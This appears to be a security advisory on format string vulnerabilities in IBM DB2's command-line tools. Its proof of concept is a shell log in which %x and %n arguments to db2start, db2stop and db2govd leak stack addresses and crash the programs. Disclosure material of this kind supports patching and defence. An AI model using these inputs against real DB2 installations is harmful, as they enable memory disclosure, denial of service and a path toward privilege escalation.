IBM DB2 Multiple Command-line Format String Vulnerabilities

The following proof of concept has been supplied:
[kf@RiotStarter adm]$ ./db2start %x
SQL2032N The "bffff270" parameter is not valid.
[kf@RiotStarter adm]$ ./db2start %n%n
Segmentation fault
[kf@RiotStarter adm]$ ./db2stop %x
SQL2032N The "bffff6f0" parameter is not valid.
[kf@RiotStarter adm]$ ./db2stop %n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %x
GOV1023N Unable to open configuration file "bfffed88". RC = "-2045837302".
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop a %x
db2govd: GOV1005N No governor for database "A" on node "bfffe188" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop a %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop %x b
db2govd: GOV1005N No governor for database "BFFFD788" on node "b" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop %n%n%n b
Segmentation fault


 

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